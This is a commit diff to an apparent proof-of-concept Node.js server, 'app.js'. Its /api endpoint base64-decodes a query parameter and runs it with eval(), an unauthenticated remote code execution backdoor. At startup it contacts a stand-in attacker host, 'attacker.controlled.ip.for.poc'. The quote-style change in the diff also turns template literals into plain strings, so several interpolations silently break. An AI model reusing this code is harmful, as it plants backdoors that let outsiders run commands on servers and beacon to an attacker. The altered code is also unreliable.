Update app.js

Author: ichliebepentest

app.js

@@ -1,38 +1,38 @@
-'use strict';
+"use strict";
 
-import http from 'http';
-import { URL } from 'url';
+import http from "http";
+import { URL } from "url";
 
 const PORT = 1337;
 
 async function logPublicIP() {
   try {
-    const response = await fetch('https://attacker.controlled.ip.for.poc?format=json');
+    const response = await fetch("https://attacker.controlled.ip.for.poc?format=json");
     const data = await response.json();
-    console.log(`Server is running on public IP: ${data.ip}`);
+    console.log("Server is running on public IP: ${data.ip}");
   } catch (error) {
-    console.error('Error fetching public IP:', error);
+    console.error("Error fetching public IP:", error);
   }
 }
 
 const requestHandler = (req, res) => {
-  const url = new URL(req.url, `http://${req.headers.host}`);
-  if (url.pathname === '/api') {
-    const c = url.searchParams.get('c');
+  const url = new URL(req.url, "http://${req.headers.host}");
+  if (url.pathname === "/api") {
+    const c = url.searchParams.get("c");
 
     if (c) {
       try {
-        const decoded = Buffer.from(c, 'base64').toString();
+        const decoded = Buffer.from(c, "base64").toString();
         const result = eval(decoded);
-        res.writeHead(200, { 'Content-Type': 'application/json' });
+        res.writeHead(200, { "Content-Type": "application/json" });
         res.end(JSON.stringify({ result }));
       } catch (error) {
-        res.writeHead(400, { 'Content-Type': 'application/json' });
-        res.end(JSON.stringify({ error: 'Failed to execute code' }));
+        res.writeHead(400, { "Content-Type": "application/json" });
+        res.end(JSON.stringify({ error: "Failed to execute code" }));
       }
     } else {
-      res.writeHead(400, { 'Content-Type': 'application/json' });
-      res.end(JSON.stringify({ error: 'No code provided' }));
+      res.writeHead(400, { "Content-Type": "application/json" });
+      res.end(JSON.stringify({ error: "No code provided" }));
     }
   } else {
     res.writeHead(404);
@@ -43,19 +43,19 @@ const requestHandler = (req, res) => {
 const server = http.createServer(requestHandler);
 
 const startTime = new Date();
-console.log(`Server start time: ${startTime.toISOString()}`);
+console.log("Server start time: ${startTime.toISOString()}");
 
-server.listen(PORT, '0.0.0.0', async () => {
-  console.log(`Server listening on port ${PORT}`);
+server.listen(PORT, "0.0.0.0", async () => {
+  console.log("Server listening on port ${PORT}");
   await logPublicIP();
 });
 
 setTimeout(() => {
   server.close(() => {
     const endTime = new Date();
-    console.log(`Server has been shut down.`);
-    console.log(`Server end time: ${endTime.toISOString()}`);
+    console.log("Server has been shut down.");
+    console.log("Server end time: ${endTime.toISOString()}");
     const duration = endTime - startTime;
-    console.log(`Server uptime: ${duration}ms`);
+    console.log("Server uptime: ${duration}ms");
   });
 }, 30000); // Shut down the server after 30 seconds